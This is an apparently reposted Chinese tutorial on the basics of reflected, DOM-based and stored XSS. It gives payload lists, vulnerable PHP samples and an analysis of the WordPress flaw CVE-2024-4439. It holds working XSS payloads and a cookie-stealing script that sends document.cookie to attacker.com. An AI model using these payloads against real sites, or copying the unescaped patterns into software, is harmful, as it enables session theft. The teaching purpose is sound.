当前位置: 首页 > news >正文

WEB安全--XSS--XSS基础

一、反射型XSS

1.1、原理

介绍:

非持久化,需要用户点击恶意链接触发恶意代码。

反射型XSS是指攻击者通过在URL参数或表单数据中嵌入恶意脚本,服务器将该数据直接反射回用户的浏览器。当用户访问修改过的URL时,恶意脚本在浏览器中执行。

具体形式:

1.2、payload

#参考靶场xss-labs-master

<script>alert()</script>

<script>alert()</script> 

onfocus=javascript:alert()       /*需要点击**/
    
onclick=javascript:alert()       /*需要点击**/

<a href=javascript:alert()>x</a>     /*需要点击**/
    
<img src='x' onerror=alert()>
    
onfocus=alert() autofocus=
    
<svg onload="alert(1337)">

1.3、示例

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

我们输入:1' οnclick='alert(1)

二、DOM型XSS

1.1、原理

介绍:

不需要经过后端代码处理,在前端javascript调用DOM元素时产生的漏洞。

DOM型XSS是指漏洞存在于客户端的JavaScript代码中,攻击者通过修改网页的DOM结构,导致恶意脚本的执行。攻击并不依赖于服务器的响应,而是通过恶意脚本直接修改浏览器中加载的文档。

具体形式:

1、攻击者构造恶意URL

2、用户点击或访问链接

3、页面加载时,前端JavaScript读取location.hash、location.search或document.URL等数据

4、未经过滤处理的恶意数据被插入DOM,导致执行恶意脚本

1.2、payload

<div id="URL"></div>
<script>
   document.getElementById('URL').innerHTML = decodeURI(location.href); //location.href用于返回当前显示的文档的URL
</script>
//构造的当前页面的URL如下:
http://localhost:8000/domxss.html?<img src=0 onerror="alert("XSS")">
//因此,受害者访问该URL后,由于载入图像失败,因此触发onerror事件,执行URL中指定的JavaScript弹窗代码(弹窗中显示“XSS”)。

1.3、示例

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

我们输入:

<script>
document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '" />');
</script>

浏览器中的cookie就会发送到我们的服务器(attacker.com)

三、存储型XSS

1.1、原理

介绍:

攻击者提交数据:攻击者向一个可以存储用户输入的系统提交包含恶意代码的输入,比如评论区、用户资料、论坛帖子等。

数据存储:服务器存储了用户提交的数据,包括其中的恶意代码。

用户查看数据:其他用户在查看这些存储的数据时,服务器将数据从数据库中提取并发送到用户的浏览器。

恶意代码执行:当用户的浏览器渲染返回的数据时,恶意代码被执行。

数据被窃取:用户的数据会传到攻击者的服务器上,这可能导致各种后果,比如窃取cookie、劫持会话、重定向用户到恶意网站等。

具体形式:

1.2、payload

<script>window.open(\'http://localhost/CrackTest/xsstest/test.php?
cookie=\'+document.cookie)</script>

1.3、示例

cve-2024-4439 wordpress 存储型xss

if ( '_blank' === $attributes['linkTarget'] ) {
            $label = 'aria-label="' . sprintf( esc_attr__( '(%s website link, opens in a new tab)' ), $comment->comment_author ) . '"';
        }
        $avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( $comment->comment_author_url ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
    }
return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );



其实这里一开始看并没有看出什么问题,细看会发现esc_attr__函数并没有包裹
$comment->comment_author,也就是没有对$comment->comment_author进行处理,
最终通过sprintf翻译输出了$comment->comment_author,在下面的代码中直接就将
$label嵌入到了target="%2$s之后,这就导致了XSS的问题。

相关文章:

  • ②(PROFINET 转 Modbus TCP)EtherCAT/Ethernet/IP/Profinet/ModbusTCP协议互转工业串口网关
  • 【Linux系统篇】:探索文件系统原理--硬件磁盘、文件系统与链接的“三体宇宙”
  • Deepresearch的MCP实践
  • 接上文,SpringBoot的线程池配置以及JVM监控
  • 初探:简道云平台架构及原理
  • 创建HAL版本MDK工程模板
  • 游戏引擎学习第199天
  • 如何访问和使用Sora:OpenAI视频生成模型的完整指南
  • 修改jar包里面的文件方法
  • WEB安全--内网渗透--LMNTLM基础
  • pom导包成功,但是就是无法使用相关类,同时报错:Library:Maven ‘xxx‘ has broken path
  • 【ESP32】ESP32物联网应用:MQTT控制与状态监测
  • SPSS系列1—无聊的列联表卡方检验
  • 【4】数据结构的循环链表章
  • MySQL 存储过程的实用技巧与最佳实践
  • Business English Certificates (BEC) 高频词汇背诵
  • 【C / C++】蓝桥第27场月赛
  • vue2 vue3 响应式差异
  • Android NDK C/C++交叉编译脚本
  • c++使用gstreamer录屏+声音
  • 广东建设公司网站/论坛推广平台有哪些
  • 3340网站建设与管理/国际网络销售平台有哪些
  • 做微商加入什么移动电商网站/百度信息流账户搭建
  • 深圳乐安居网站谁做的/长春网站优化咨询
  • 电商公司的网站设计书/网络广告推广公司
  • 物流网站制作/semir是什么品牌